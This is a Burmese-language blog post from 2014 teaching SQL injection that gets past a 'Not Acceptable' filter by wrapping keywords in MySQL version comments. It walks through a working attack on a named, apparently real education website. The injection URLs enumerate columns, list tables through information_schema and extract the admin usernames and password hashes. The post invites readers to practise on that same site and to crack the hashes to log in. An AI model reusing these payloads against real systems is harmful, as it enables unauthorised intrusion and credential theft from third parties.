Pages

Subscribe:
Blogger Tips and TricksLatest Tips And TricksBlogger Tricks

Sunday, July 27, 2014

Sql Injection "Not Acceptable" Bypass

Sql Injection "Not Acceptable" Bypass



Sql injection ဟာ ေပ်ာ္ရြင္စရာေကာင္းတဲ့ Hacking ရဲ႕ ဘာသာရပ္တစ္ခုလုိ႔ ေျပာရပါမယ္...
ထိုးေဖာက္၀င္ေရာက္ခံရတဲ့ Website ေတြကို ေလ့လာၾကည့္မယ္ဆိုရင္လည္း SQL Injection နည္းလမ္းနဲ႔ အမ်ားဆုံး တိုက္ခိုက္ထိုးေဖာက္၀င္ေရာက္ခံရတာကို ေတြ႔ရမယ္ျဖစ္ပါတယ္...

Hacker ( or ) Attacker တစ္ေယာက္ဟာ Sql error (သို႔မဟုတ္)ယိုေပါက္ရွိေနတဲ့ Website တစ္ခုကို Column သိရန္အတြက္ Order by နဲ႔ စစ္ၿပီး ဘယ္ေကာ္လံ မွာ ယုိေပါက္ရွိသလဲ သိရန္အတြက္ Union Select(or) Union All Select ကို အသုံးျပဳၿပီး စစ္တဲ့အခါမွာ အခက္အခဲေလးေတြနဲ႔ ၾကဳံေတြ႔ရ တတ္ပါ တယ္...အဲဒီအထဲကမွ တစ္ခုကို ေျပာရမယ္ဆိုရင္ေတာ့ "Not Acceptable" ဆိုတဲ့ error ပဲျဖစ္ပါတယ္...

Bypass "Not Acceptable" error

ကြ်န္ေတာ္က စာေရးဆရာမဟုတ္ ၊ Hacker တစ္ေယာက္လည္း မဟုတ္တဲ့ အတြက္ အသုံးအႏႈန္း လြဲတာ ၊ အေရးအသား မေျပျပစ္ မရွင္းလင္းတာ ရွိရင္ေတာ့ သည္းခံၾကပါ.....
ဒီ Tutorial ကိုေရးဖို႔ ယိုေပါက္ရွိတဲ့ Site ေတြအမ်ားႀကီးေတြ႔ၿပီး ေတာ္ေတာ္မ်ားမ်ားကို စမ္းသပ္ခဲ့ပါတယ္.. အဲဒီထဲက ကြ်န္ေတာ္ Site တစ္ခုကို ေရြးလိုက္ပါတယ္.ဘာေၾကာင့္ ေရြးလည္းဆိုေတာ့ ေလ့လာမယ့္ ညီအစ္ကိုေတြကို ဆက္လက္ေလ့လာေစခ်င္တဲ့အတြက္ ျဖစ္ပါတယ္...

ကဲ အထက္ပါ error ေလးကို ေရြးထားတဲ့ site တစ္ခုနဲ႔ လက္ေတြ႔ လိုက္လုပ္ၾကည့္လိုက္ရေအာင္....

http://www.caehs.edu.in/photos.php?catid=12
ေတာ္ေတာ္မ်ားမ်ားကေတာ့ error ရွိ/မရွိကို id နံပါတ္ (12 ) ရဲ႕ ေနာက္မွာ ( ' )ထည့္စမ္းၾကပါတယ္...
ကြ်န္ေတာ္တို႔လည္း ဒီအတိုင္း စမ္းပါမယ္..

http://www.caehs.edu.in/photos.php?catid=12'

error ကို ေအာက္ပါအတိုင္း ေတြ႔ၾကမွာပါ....
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home2/dvhost/public_html/caehs.edu.in/photos.php on line 24

error ေတြ႔တာေသခ်ာၿပီဆိုေတာ့ Column ဘယ္ေလာက္ရွိလဲဆိုတာ... Order by (သို႔ ) Group by နဲ႔ စမ္းပါမယ္..စမ္းတဲ့အခါ Id နံပါတ္ 12 ရဲ႕ ေနာက္က ( ' ) ေလး မထည့္ေတာ့ပါဘူး...

http://www.caehs.edu.in/photos.php?catid=12 order by 1-- ဆိုၿပီး စမ္းပါတယ္. error စာေၾကာင္း မေတြ႔ရေတာ့ပါဘူး..ဒါနဲ႔ အဆင့္ဆင့္ ထပ္စမ္းပါမယ္..

http://www.caehs.edu.in/photos.php?catid=12 order by 1--  မေတြ႔
http://www.caehs.edu.in/photos.php?catid=12 order by 11-- မေတြ႔
http://www.caehs.edu.in/photos.php?catid=12 order by 111-- မေတြ႔
http://www.caehs.edu.in/photos.php?catid=12 order by 1111-- မေတြ႔

မျဖစ္ႏိုင္ေတာ့ပါဘူး.. ဘယ္ Website developer မွ Column တစ္ေထာင္ မေျပာနဲ႔ တစ္ရာေက်ာ္ ေအာင္ ေရးထား မေတြ႔ဘူးပါဘူး ဒါေၾကာင့္ Id နံပါတ္ 12 ရဲ႕ ေနာက္မွ ( ' ) ေလး ျပန္ထည့္ၿပီး Order by နံပါတ္ 1 ရဲ႕ ေနာက္ဆုံးကေန ( + ) ေလးထည့္ၿပီး တစ္နည္းစမ္းပါမယ္..
http://www.caehs.edu.in/photos.php?catid=12' order by 1--+ မေတြ႔
http://www.caehs.edu.in/photos.php?catid=12ဒ order by 2--+ ေတြ႔ပါၿပီ.. order by နံပါတ္ 2 ထည့္လိုက္တဲ့ အခါ အထက္မွာေတြ႔ခဲ့ရတဲ့ error ေလးကို ျပန္ေတြ႔ရပါၿပီ..
ဒီေတာ့ စဥ္းစားရမွာက 1 မွာ မေတြ႔ပဲ 2 မွာ error ေတြ႔ေတာ့ column က 1 ခုရွိတာပါ..
ဒါဆို 10 မွာ error ေတြ႔ရင္ column က 9 ခုရွိတယ္ဆိုတာ စဥ္းစားလို႔ ရမွာပါ...

Column က 1 ခုပဲရွိတာဆိုေတာ့ ထူးစဥ္းစားစရာ မလိုပါဘူး... အဲဒီေနမွာ ယိုေပါက္ရွိတာပါ.. ဒါေၾကာင့္ Union select နဲ႔ တန္းၿပီး data ေတြကို ထုတ္ယူၾကည့္လို႔ရပါတယ္.. ဒါေပမယ့္ စမ္းသပ္နည္းသိရန္အတြက္ id နံပါတ္ 12 ေရွ႕မွာ (-)ကေလးထည့္ၿပီး ေအာက္ပါအတိုင္း စမ္းလိုက္ပါမယ္..

http://www.caehs.edu.in/photos.php?catid=-12' UNION SELECT 1--+

ျမင္တဲ့အတိုင္းပါပဲဗ်ာ.. ကြ်န္ေတာ္တို႔ အဓိက ေက်ာ္ျဖတ္မယ့္ error ေလးပါ.. ခက္ခက္ခဲခဲေတာ့ မဟုတ္ပါဘူး...Union select ေနရာမွာ /!*1234UNION*/ /*!12345SELECT*/ ဆိုၿပီး ေျပာင္းလဲ အသုံးျပဳလိုက္ရုံနဲ႔ အဆင္ေျပသြားမွာပါ..ဒီေတာ့ စမ္းသပ္ၾကည့္ၾကရေအာင္...

http://www.caehs.edu.in/photos.php?catid=-12' /!*1234UNION*/ /*!12345SELECT*/ 1--+


ပုံပါအတိုင္း Not Acceptable မေပၚေတာ့ဘဲ website ဟာ ပုံမွန္အတိုင္းျပန္တတ္လာၿပီး id နံပါတ္ 12 ရဲ႕ ေရွ႕မွ ( - ) ထည့္ေပးထားတဲ့အတြက္ ယုိေပါက္နံပါတ္ 1 ပါ လာျပေနတာပါ..

ဒီေတာ့ စဥ္းစားရမွာက Id နံပါတ္ရဲ႕ ေရွ႕မွာ ( - ) ထည့္လိုက္လို႔ ေအာက္မွာ နံပါတ္ 1 လို႔ ေပၚရင္ 1 ေနရာကေန Data ေတြဆြဲထုတ္မွာျဖစ္ၿပီး... 4 လို႔ ေပၚရင္ 4 ေနရာကေန ဆြဲထုတ္မွာပါ... တစ္ခ်ိဳ႕ site ေတြဆိုရင္ .. column 20 ေလာက္ျဖစ္ၿပီး ယုုိေပါက္ နံပါတ္ကလည္း 2 ခု 3 ခု ျပတတ္ၾကပါတယ္... ဒါဆိုရင္ေတာ့ ႀကိဳက္တဲ့နံပါတ္ ( တစ္နည္းအားျဖင့္ ) ရွင္းရွင္းလင္းလင္း ျမင္ရတဲ့ နံပါတ္ကေန data ေတြကို ဆြဲထုတ္ပါ...

ပုံကိုၾကည့္ျခင္းအားျဖင့္ column ကလည္း 1 ခုပဲရွိတယ္.. ယိုေပါက္ကလည္း ဒီ 1 မွာပဲ ေသခ်ာေနတဲ့ အတြက္ user အသုံးျပဳသူကို စစ္ၾကည့္ပါမယ္...ဒီေတာ့ 1 ေနရာမွာ user() ဟု ေျပာင္းလဲ အသုံးျပဳလိုက္ပါ။
http://www.caehs.edu.in/photos.php?catid=-12' /!*1234UNION*/ /*!12345SELECT*/ user()--+


ပုံမွာျမင္ေတြ႔ရတဲ့အတိုင္း 1 ေနရာမွာ user အသုံးျပဳသူကို ေတြ႔ျမင္ေနရပါၿပီ.ဒီလိုနဲ႔ user() ေနရာမွာ database(), version() စသျဖင့္ ေျပာင္းလဲ ထုတ္ယူၾကည့္လို႔ရပါတယ္..
ဒီေတာ့ တျခား မလိုတာေတြမလုပ္ေတာ့ဘူး ..table ေတြကို GROUP CONCAT အသုံးျပဳၿပီး ဆြဲထုတ္ၾကည့္ပါမယ္. ေရးသြားတဲ့ Quary စာေၾကာင္းေလးကို ေသခ်ာေလ့လာၾကည့္ပါ..

http://www.caehs.edu.in/photos.php?catid=-12' /*!12345UNION*/ /*!12345SELECT*/ /*!12345GROUP_CONCAT(table_name)*/ from /*!12345information_schema*/.tables where /*!12345table_schema*/=database()--+


ပုံမွာျမင္ရတဲ့အတိုင္း table ေတြကို ေတြ႔ျမင္ရမွာပါ... တစ္ခါတစ္ရံမွာ ပုံပါအတိုင္း မတတ္ပဲ Not Acceptable ျပန္လည္တတ္လာတတ္ပါတယ္.. တတ္လာရင္ေတာ့ GROUP CONCAT ေတြကို အႀကီးတစ္လွည့္ အေသးတစ္လွည့္ ေျပာင္းထည့္ေပးလိုက္ပါ။  GrOuP_CoNcAt

table ေတြထဲက username နဲ႔ password ရွိတတ္ တာကေတာ့ admin , administrator , user , tbl_user စသျဖင့္ table ေတြထဲမွာ column ေတြအေနျဖင့္ ရွိၾကတာပါ.. ဒါေၾကာင့္ username နဲ႔ password ရယူဖို႔အတြက္ Admin table ထဲမွာ username နဲ႔ password column ေတြ ရွိ/မရိွ ၊ ဟုတ္/မဟုတ္ ဆိုတာ ဆြဲထုတ္ၾကည့္ပါမယ္..

ဒီတစ္ခါ column ကို ထုတ္ၾကည့္မွာ ျဖစ္တဲ့အတြက္ table ေနရာမွာ column ေျပာင္းၿပီး ၊ tables ေနရာမွာ columns လို႔ ေျပာင္းပါမယ္. ၄င္းေနာက္ table_schema မဟုတ္ေတာ့ပဲ အတိအက် table နာမည္နဲ႔ ဆြဲထုတ္မွာျဖစ္တဲ့အတြက္ table_schema ေနရာမွာ table_name လို႔ ေျပာင္းပါမယ္...
ဆြဲထုတ္ၾကည့္အခါ table အတိအက် ဆြဲထုတ္မွာျဖစ္တဲ့အတြက္ Table နာမည္ ျဖစ္တဲ့ Admin ကို Hex ပုံေျပာင္းၿပီး ၄င္း Hex နံပါတ္ေတြေရွ႕က 0x ထည့္ကာ database() ေနရာမွာ အစားထိုးပါမယ္..
Admin ကို Hex ပုံစံေျပာင္းတာကေတာ့ Hack bar မွာ Encoding ကေန HexEncoding မွ string to 00ff00ff ကေန ေျပာင္းလဲႏိုင္ပါတယ္...

Query ေလးကို ေလ့လာၾကည့္လိုက္ရင္ ရွင္းလင္းသြားမည္ ျဖစ္ပါတယ္.
http://www.caehs.edu.in/photos.php?catid=-12' /*!12345UNION*/ /*!12345SELECT*/ /*!12345GROUP_CONCAT(column_name)*/ from /*!12345information_schema*/.columns where /*!12345table_name*/=0x61646d696e--+


Query ေလး ထည့္ၿပီး ဆြဲထုတ္လိုက္တဲ့အခါ admin table ထဲမွာ ရွိတဲ့ Column ေတြကို ျမင္ရပါၿပီ .. column ဆြဲထုတ္ၾကည့္တာ..ကေတာ့ အျမဲတမ္း username နဲ႔ password မဟုတ္ပဲ.. ပုံပါအတိုင္း userName ဆိုၿပီး N က အႀကီးနဲ႔ ေရးထားပါတယ္. column ေတြကို မွန္ကန္ေအာင္ ဆြဲထုတ္မွ data က ထြက္မွာပါ....အခ်ိဳ႕ကေတာ့ uname,pass ၊ adm_name , adm_pass ၊ name,pwd စသျဖင့္ column ေတြကို အမည္ေပးေလ့ရွိပါတယ္.. ဒီေတာ့ column ေတြရၿပီျဖစ္တဲ့အတြက္ ဆြဲထုတ္ၾကည့္ပါမယ္.
ေအာက္က Query ကို ေလ့လာၾကည့္ပါ
Query ရဲ႕ userName န႔ဲ password ၾကားမွာ 0x3a ေလးကို ( , ) ေကာ္မာ ျခားၿပီး ထည့္ထားပါတယ္..
ဒါကေတာ့ username နဲ႔ password ကို ( : ) ျခားျပခိုင္းတာပါ.. 0x3b ဆိုရင္ေတာ့ ( ; ) ျခားျပသ ေပးမွာပါ...

http://www.caehs.edu.in/photos.php?catid=-12' /*!12345UNION*/ /*!12345SELECT*/ /*!12345GROUP_CONCAt(userName,0x3a,password)*/ from admin--+


ပုံပါအတိုင္း user အသုံးျပဳသူ ႏွစ္ဦးရဲ႕ အခ်က္အလက္ေတြကို ေတြ႔ျမင္ရမွာပါ.... ထြက္ရွိလာတဲ့ data မွာ အသုံးျပဳသည္ username ကေတာ့ admin ျဖစ္ၿပီး...password ကေတာ plaintext မဟုတ္ပဲ hash ပုံစံနဲ႔ ထြက္ရွိလာတာပါ.... plaintext ကေတာ့ ရိုးရိုးစားသား ဟု ဆိုလို႔ၿပီး hash ကေတာ့ ရိုးရိုးစာသားေတြကို အထူးျပဳေျပာင္းလဲထားတဲ့ code နံပါတ္လို႔ ဆိုရမွာပါ...
ဒါေၾကာင့္ ေလ့လာသူညီေတြအေနနဲ႔ hash ကို Plaintext ျဖစ္ေအာင္ ျပန္လည္ ေျပာင္းလဲၿပီးမွသာ website အတြင္းသို႔ ၀င္ေရာက္ႏိုင္မွာျဖစ္ပါတယ္...ဒါေၾကာင့္ hash အၾကာင္းကို ေလ့လာဖို႔လိုမွာပါ. .ဒါေၾကာင့္ ယခု "Not Acceptable" error bypass ကို ေလ့က်င့္ရင္း ေနာက္လာမယ့္ ...Hash Type မ်ား အေၾကာင္းကို ေစာင့္ေမွ်ာ္ကာ...Hacking မွာ ေပ်ာ္ေမြ႔ႏိုင္ပါေစလို႔..ဆုေတာင္းေပးလိုက္ပါတယ္...

Colorful H4ck CH4r


0 comments:

Post a Comment